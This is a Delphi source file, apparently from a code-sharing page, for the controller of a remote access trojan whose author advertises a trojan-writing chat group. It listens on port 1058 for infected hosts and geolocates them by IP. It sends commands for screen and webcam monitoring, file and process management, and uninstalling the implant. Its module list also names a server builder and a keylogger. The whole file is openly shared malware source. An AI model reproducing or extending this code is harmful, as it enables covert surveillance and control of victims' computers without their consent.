📄 unit1.~pas
字号:
unit Unit1;
{作者BLOG ALALMN JACK http://hi.baidu.com/alalmn
远程控制和木马编写群30096995 }
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Menus, ExtCtrls, ComCtrls, ToolWin, StdCtrls, ImgList, OleCtrls,
SHDocVw, WinSkinData, IdComponent, IdTCPServer, IdBaseComponent,
IdAntiFreezeBase, IdAntiFreeze, shellapi,jpeg,untTQQWry;
type
TForm1 = class(TForm)
MainMenu1: TMainMenu;
N1: TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
N5: TMenuItem;
N6: TMenuItem;
N7: TMenuItem;
N8: TMenuItem;
PageControl1: TPageControl;
TabSheet1: TTabSheet;
TabSheet2: TTabSheet;
StatusBar1: TStatusBar;
ListView1: TListView;
ImageList1: TImageList;
WebBrowser1: TWebBrowser;
IdAntiFreeze1: TIdAntiFreeze;
SaveDialog1: TSaveDialog;
IdTCPServer1: TIdTCPServer;
SkinData1: TSkinData;
ToolBar1: TToolBar;
ToolButton1: TToolButton;
ToolButton2: TToolButton;
ToolButton3: TToolButton;
ToolButton4: TToolButton;
ToolButton5: TToolButton;
ToolButton6: TToolButton;
ToolButton7: TToolButton;
ToolButton8: TToolButton;
ToolButton9: TToolButton;
ToolButton10: TToolButton;
ToolBar2: TToolBar;
Panel1: TPanel;
Label1: TLabel;
ComboBox1: TComboBox;
Panel2: TPanel;
Label2: TLabel;
Label3: TLabel;
Edit1: TEdit;
Edit2: TEdit;
Button1: TButton;
ToolButton22: TToolButton;
PopupMenu1: TPopupMenu;
N9: TMenuItem;
ImageList2: TImageList;
procedure FormCreate(Sender: TObject);
procedure ToolButton9Click(Sender: TObject);
procedure ToolButton10Click(Sender: TObject);
procedure ToolButton1Click(Sender: TObject);
procedure ToolButton2Click(Sender: TObject);
procedure N4Click(Sender: TObject);
procedure N6Click(Sender: TObject);
procedure N5Click(Sender: TObject);
procedure N8Click(Sender: TObject);
procedure ToolButton3Click(Sender: TObject);
procedure ToolButton4Click(Sender: TObject);
procedure ToolButton5Click(Sender: TObject);
procedure ToolButton6Click(Sender: TObject);
procedure ToolButton22Click(Sender: TObject);
procedure N9Click(Sender: TObject);
procedure IdTCPServer1Disconnect(AThread: TIdPeerThread);
procedure IdTCPServer1Execute(AThread: TIdPeerThread);
procedure FormDestroy(Sender: TObject);
procedure ListView1Change(Sender: TObject; Item: TListItem;
Change: TItemChange);
procedure ListView1Click(Sender: TObject);
procedure ToolButton7Click(Sender: TObject);
procedure ToolButton8Click(Sender: TObject);
procedure N7Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
FleshIPList: TStringlist; {存放IP地理位置的列表}
procedure ZhuDongCmdSend(Miling, Qita: string;isbreak:Boolean); //消息的发送
function SendStreamToServer(AThread:TIdPeerThread;Cmd:String): Boolean;
function GetIPtoAdder(IpName: string): string;
procedure IdTCPServer1WorkBegin(Sender: TObject; AWorkMode: TWorkMode; const AWorkCountMax: Integer);
procedure IdTCPServer1WorkEnd(Sender: TObject; AWorkMode: TWorkMode);
procedure IdTCPServer1Work(Sender: TObject;AWorkMode: TWorkMode; const AWorkCount: Integer);
end;
type // 服务器的会话信息。
Ponlineinf = ^Tonlineinf;
Tonlineinf = record
ServerName: string[30]; {服务器主机名称}
AThread : TIdPeerThread; {服务器线程}
Soc: integer; {服务器线程ID}
ServerAdd: string[15]; {服务器IP地址}
AdderStr: string; {地理位置}
end;
var
Form1: TForm1;
CurrentThread: TIdPeerThread;
MyFirstBmp:TMemoryStream;
OnlineServer: array[0..100] of Tonlineinf;
count:integer;
// SysDev: TSysDevEnum;
// Videolist:TStringlist;
implementation
uses
Unit2,Unit3,Unit4,Unit5,Unit6,Unit7,Unit8,Unit9,Unit11,Unit12,Unit13;
{Unit2 //FTP更新
Unit3 //服务端生成
Unit4 //远程屏幕监控
Unit5 //视频监控
Unit6 //远程文件管理
Unit7 //进程管理
Unit8 //作者
Unit9 //传输进度
untTQQWry //IP数据库
Unit10 //新建文件夹
Unit11 //运行参数设置
Unit12 //窗口管理
Unit13 //键盘记录
}
{$R *.dfm}
procedure Tform1.ZhuDongCmdSend(Miling, Qita: string;isbreak:Boolean);
begin
form1.Enabled := isbreak; //停止
try
if not SendStreamToServer(CurrentThread,Miling+#13+Qita) then
begin
showmessage('连接出错!');
exit;
end;
except
form1.Enabled := True; //真
end;
form1.Enabled := True; //真
end;
function Tform1.SendStreamToServer(AThread:TIdPeerThread;Cmd:String): Boolean;
var
MyStream: TMemoryStream;
i:integer;
begin
try
MyStream:=TMemoryStream.Create;
MyStream.Write(Cmd[1],Length(Cmd));
MyStream.Position:=0;
i:=MyStream.size;
AThread.Connection.WriteLn(inttostr(i));
AThread.Connection.WriteStream(MyStream);
Result := True;
except
AThread.Connection.Disconnect;
AThread.Terminate;
MyStream.Free;
Result := False;
end;
MyStream.Free;
end;
function getfilesize(str: string): string;
var len: integer;
begin
len := pos('|', str); //文件夹目录主要操作
result := copy(str, 1, len - 1);
end;
function Tform1.GetIPtoAdder(IpName: string): string; {从IP地址得到所在地理位置}
var
QQWry: TQQWry;
slIPData: TStringlist;
IPRecordID: int64;
begin
Result := '';
try
QQWry:=TQQWry.Create(ExtractFilePath(Paramstr(0)) + 'QQWry.dat');
IPRecordID:=QQWry.GetIPDataID(IpName);
slIPData:=TStringlist.Create;
QQWry.GetIPDataByIPRecordID(IPRecordID, slIPData);
QQWry.Destroy;
Result := slIPData[3];
// (format('ID: %d IP: %s - %s 国家: %s 地区: %s', [IPRecordID, slIPData[0], slIPData[1], slIPData[2], slIPData[3]]));
slIPData.Free;
except //IP地址格式不对!
Result := 'IP地址格式不对!';
end; //
if Result = '' then Result :='【未知数据】' ;
end;
function ReadSeverStream(AThread: TIdPeerThread; var TempStr: string): Boolean; //读取流
var
RsltStream: TMemoryStream;
TheSize:integer;
begin
try
RsltStream := TmemoryStream.Create;
TheSize := AThread.Connection.ReadInteger;
AThread.Connection.ReadStream(RsltStream, TheSize, False);
RsltStream.Position := 0;
SetLength(TempStr, RsltStream.Size);
RsltStream.Read(TempStr[1],RsltStream.Size);
Result := True;
except
AThread.Connection.Disconnect;
AThread.Terminate;
RsltStream.Free;
Result := False;
end;
RsltStream.Free;
end;
//////////////////////////////////////////////////////////////////////////////////////////////////
procedure TForm1.FormCreate(Sender: TObject);
var
IPFile: string;
MyStream: TMemoryStream;
MyStream1: TMemoryStream;
begin
count:=0; //清空防止数据的沉积
MyFirstBmp:=TMemoryStream.Create; //创建流
IdTCPServer1.DefaultPort:=1058; //设置监听端口
IdTCPServer1.Active:=true; //开启控件
if IdTCPServer1.Active then //判断开启没
StatusBar1.Panels.Items[0].Text:='打开临听端口1058成功,请等待服务端上线!';
StatusBar1.Panels.Items[1].Text:='在线主机0台';
WebBrowser1.Navigate('http://hi.baidu.com/alalmn'); //打开网站
end;
procedure TForm1.ToolButton9Click(Sender: TObject);
begin //最小化
application.Minimize;
end;
procedure TForm1.ToolButton10Click(Sender: TObject);
begin
close; //退出程序
end;
procedure TForm1.ToolButton1Click(Sender: TObject);
begin
ftp.Show; //更新IP
end;
procedure TForm1.ToolButton2Click(Sender: TObject);
begin
server.Show; //服务端生成
end;
procedure TForm1.N4Click(Sender: TObject);
begin
ftp.Show; //更新IP
end;
procedure TForm1.N6Click(Sender: TObject);
begin
server.Show; //服务端生成
end;
procedure TForm1.N5Click(Sender: TObject);
begin
close; //退出
end;
procedure TForm1.N8Click(Sender: TObject);
begin
ShellExecute(0,nil,PChar('http://hi.baidu.com/alalmn'), nil, nil, SW_NORMAL);
end;
procedure TForm1.ToolButton3Click(Sender: TObject);
begin
ZhuDongCmdSend('050', '', false);
// pingmu.Show; //远程屏幕监控
end;
procedure TForm1.ToolButton4Click(Sender: TObject);
begin
shipin.Show; //视频监控
end;
procedure TForm1.ToolButton5Click(Sender: TObject);
var
i:integer;
begin
// if SendStreamToServer(CurrentThread,'001') then
// CurrentThread.Connection.WriteLn('001');
for i:=0 to wenjian.TreeView1.Items.Count-1 do
begin
if wenjian.TreeView1.Items.Item[i].ImageIndex=6 then
begin
if wenjian.TreeView1.Items.Item[i].HasChildren then
wenjian.TreeView1.Items.Item[i].DeleteChildren;
wenjian.TreeView1.Items.Item[i].Delete;
break; //停止
end;
end;
wenjian.Show; //远程文件管理
end;
procedure TForm1.ToolButton6Click(Sender: TObject);
begin
ZhuDongCmdSend('020','',false);
jincheng.Show; //进程管理
end;
procedure TForm1.ToolButton22Click(Sender: TObject);
begin
ALALMN.Show; //作者联系
end;
procedure TForm1.N9Click(Sender: TObject);
begin
if MessageBox(Application.Handle,'你确定要卸载远程服务端吗?这样你将失去对远程主机的控制!','提示!',MB_OKCANCEL)=1 then
ZhuDongCmdSend('080','',false); //向远程发送卸载指令
end;
///////////////////////////////////////////////////////////////////////////////////////////////////////
procedure TForm1.IdTCPServer1Disconnect(AThread: TIdPeerThread);
var
i,j:integer;
begin //断开反映
for i:=0 to count-1 do
begin
if OnlineServer[i].Soc = AThread.ThreadID then
begin
for j:=0 to ListView1.Items.Count-1 do //数据条数 数据类型(长度)定义
begin
if ListView1.Items.Item[j].Caption = OnlineServer[i].ServerName+'-'+inttostr(OnlineServer[i].Soc) then
begin
ListView1.Items.Item[j].Delete; //删除ListView1的数据
StatusBar1.Panels.Items[1].Text:='在线主机'+inttostr(ListView1.Items.Count)+'台'; //IdTCPServer1断开后应为把ListView1里面的主机全部删除了这时应该显示为0才对
break; //停止
end;
end;
j:=i;
while j < count-1 do
begin
OnlineServer[j].ServerName:=OnlineServer[j+1].ServerName;
OnlineServer[j].AThread:=OnlineServer[j+1].AThread;
OnlineServer[j].Soc:= OnlineServer[j+1].Soc;
OnlineServer[j].ServerAdd:=OnlineServer[j+1].ServerAdd;
OnlineServer[j].AdderStr:= OnlineServer[j+1].AdderStr;
inc(j);
end;
dec(count);
break; //停止
end;
end;
end;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -